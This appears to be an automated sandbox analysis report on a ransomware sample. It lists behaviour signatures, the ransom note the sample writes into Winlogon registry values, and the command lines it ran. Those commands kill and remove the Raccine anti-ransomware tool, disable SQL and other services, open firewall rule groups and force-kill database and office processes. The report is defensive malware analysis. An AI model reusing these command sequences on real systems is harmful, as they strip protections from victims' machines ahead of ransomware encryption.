Malware Analysis Report

2024-10-23 18:41

Sample ID 210512-y1glnyls5e
Target e1f063d6_by_Libranalysis
SHA256 8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7
Tags
evasion persistence ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7

Threat Level: Known bad

The file e1f063d6_by_Libranalysis was found to be: Known bad.

Malicious Activity Summary

evasion persistence ransomware

Executes dropped EXE

Downloads MZ/PE file

Modifies Windows Firewall

Deletes itself

Drops startup file

Modifies WinLogon

Launches sc.exe

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Runs ping.exe

Modifies Internet Explorer settings

Kills process with taskkill

Modifies registry key

Suspicious use of AdjustPrivilegeToken

System policy modification

Suspicious use of WriteProcessMemory

Suspicious use of FindShellTrayWindow

Suspicious use of SendNotifyMessage

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

0001-01-01 00:00

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2021-05-12 00:06

Reported

2021-05-12 00:09

Platform

win7v20210408

Max time kernel

53s

Max time network

61s

Command Line

"C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

Signatures

Downloads MZ/PE file

Modifies Windows Firewall

evasion

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\System32\cmd.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A

Launches sc.exe

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\System32\mshta.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1652 wrote to memory of 876 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 876 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 876 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\reg.exe
PID 1652 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\reg.exe
PID 1652 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\reg.exe
PID 1652 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\reg.exe
PID 1652 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\reg.exe
PID 1652 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\reg.exe
PID 1652 wrote to memory of 1840 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\schtasks.exe
PID 1652 wrote to memory of 1840 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\schtasks.exe
PID 1652 wrote to memory of 1840 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\schtasks.exe
PID 1652 wrote to memory of 772 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 772 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 772 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 1244 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\netsh.exe
PID 1652 wrote to memory of 1244 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\netsh.exe
PID 1652 wrote to memory of 1244 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\netsh.exe
PID 1652 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 328 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 328 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 328 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\sc.exe
PID 1652 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1600 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1600 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1600 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1804 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 364 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\netsh.exe
PID 1652 wrote to memory of 364 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\netsh.exe
PID 1652 wrote to memory of 364 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\netsh.exe
PID 1652 wrote to memory of 1316 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1316 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1316 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe
PID 1652 wrote to memory of 1340 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\system32\taskkill.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1" C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe

"C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

C:\Windows\system32\taskkill.exe

"taskkill" /F /IM RaccineSettings.exe

C:\Windows\system32\reg.exe

"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F

C:\Windows\system32\reg.exe

"reg" delete HKCU\Software\Raccine /F

C:\Windows\system32\schtasks.exe

"schtasks" /DELETE /TN "Raccine Rules Updater" /F

C:\Windows\system32\sc.exe

"sc.exe" config Dnscache start= auto

C:\Windows\system32\sc.exe

"sc.exe" config FDResPub start= auto

C:\Windows\system32\sc.exe

"sc.exe" config SQLTELEMETRY start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\system32\sc.exe

"sc.exe" config SSDPSRV start= auto

C:\Windows\system32\sc.exe

"sc.exe" config SQLWriter start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config SstpSvc start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config upnphost start= auto

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM synctime.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM Ntrtscan.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld.exe /F

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqbcoreservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM isqlplussvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\system32\arp.exe

"arp" -a

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM onenote.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM firefoxconfig.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM encsvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM excel.exe /F

C:\Windows\system32\taskkill.exe

